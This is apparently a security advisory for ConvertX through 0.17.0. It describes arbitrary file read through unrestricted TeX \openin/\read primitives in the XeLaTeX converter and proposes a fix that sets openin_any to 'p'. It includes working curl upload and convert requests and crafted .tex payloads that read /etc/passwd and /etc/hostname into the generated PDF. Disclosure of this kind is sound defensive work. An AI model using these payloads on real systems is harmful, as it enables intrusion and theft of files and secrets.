ConvertX through 0.17.0 contains an arbitrary file read vulnerability in the XeLaTeX converter. User-supplied .tex content is passed to latexmk/xelatex without restricting TeX file system primitives, allowing attackers to abuse \openin and \read to access arbitrary files from the container filesystem.
A remote authenticated attacker can upload a crafted .tex file containing TeX file read primitives to disclose sensitive local files such as /etc/passwd, /etc/hostname, application source code, and other readable files accessible to the container user. The extracted content is embedded into the generated PDF.
\openin and \read are core TeX primitives and are not restricted by the shell_escape security setting. The issue affects the default Docker deployment provided by the project.
- Product: ConvertX
- Vendor: C4illin
- Repository: https://github.com/C4illin/ConvertX
- Affected Versions: v0.17.0
- Component:
src/converters/xelatex.ts,src/converters/main.ts - Docker Images:
ghcr.io/c4illin/convertx:latestc4illin/convertx:latest
Fklov
The convert() function in src/converters/xelatex.ts passes user-controlled .tex content directly to latexmk/xelatex:
// src/converters/xelatex.ts:22-26
execFile(
"latexmk",
[
"-xelatex",
"-interaction=nonstopmode",
`-output-directory=${outputPath}`,
filePath
],
// .tex file content is fully user-controlled
// TeX file read primitives are unrestricted
)The TeX Live configuration used by the container permits unrestricted file reads:
# /usr/share/texlive/texmf-dist/web2c/texmf.cnf
openin_any = a
shell_escape = p
openin_any = a allows TeX to read arbitrary files from the filesystem. Restricted shell_escape mode does not mitigate \openin or \read.
The converter selection is also user-controlled through the convert_to parameter:
// src/converters/main.ts:203-204
if (converterName) {
converterFunc = properties[converterName]?.converter;
}An attacker can therefore explicitly invoke the XeLaTeX converter through the convert_to parameter.
- Authentication required by default
- The first account registration is always permitted through the
FIRST_RUNmechanism - No authentication required if
ALLOW_UNAUTHENTICATED=true - No additional preconditions required
- Obtain an authenticated session
- Upload a crafted
.texdocument - Trigger conversion using
convert_to=pdf,xelatex
curl -X POST http://target.com:3000/upload \
-H "Cookie: auth=<JWT>; jobId=<JOB_ID>" \
-F 'file=@exploit.tex;filename=exploit.tex;type=application/x-tex'\documentclass{article}
\begin{document}
\newread\myfile
\openin\myfile=/etc/passwd
\loop\unless\ifeof\myfile
\read\myfile to\fileline
{\detokenize\expandafter{\fileline}}\par
\repeat
\closein\myfile
\end{document}\documentclass{article}
\begin{document}
\newread\myfile
\openin\myfile=/etc/hostname
\loop\unless\ifeof\myfile
\read\myfile to\fileline
{\detokenize\expandafter{\fileline}}\par
\repeat
\closein\myfile
\end{document}curl -X POST http://target.com:3000/convert \
-H "Cookie: auth=<JWT>; jobId=<JOB_ID>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'convert_to=pdf%2Cxelatex&file_names=%5B%22exploit.tex%22%5D'An attacker can read arbitrary files from the container filesystem, leading to:
- Disclosure of sensitive environment variables and application configuration
- Source code disclosure enabling further vulnerability research
- Cross-user data access through readable application storage paths
- System reconnaissance via
/procand container runtime metadata
// src/converters/xelatex.ts
execFile("latexmk", args, {
env: {
...process.env,
openin_any: 'p',
}
});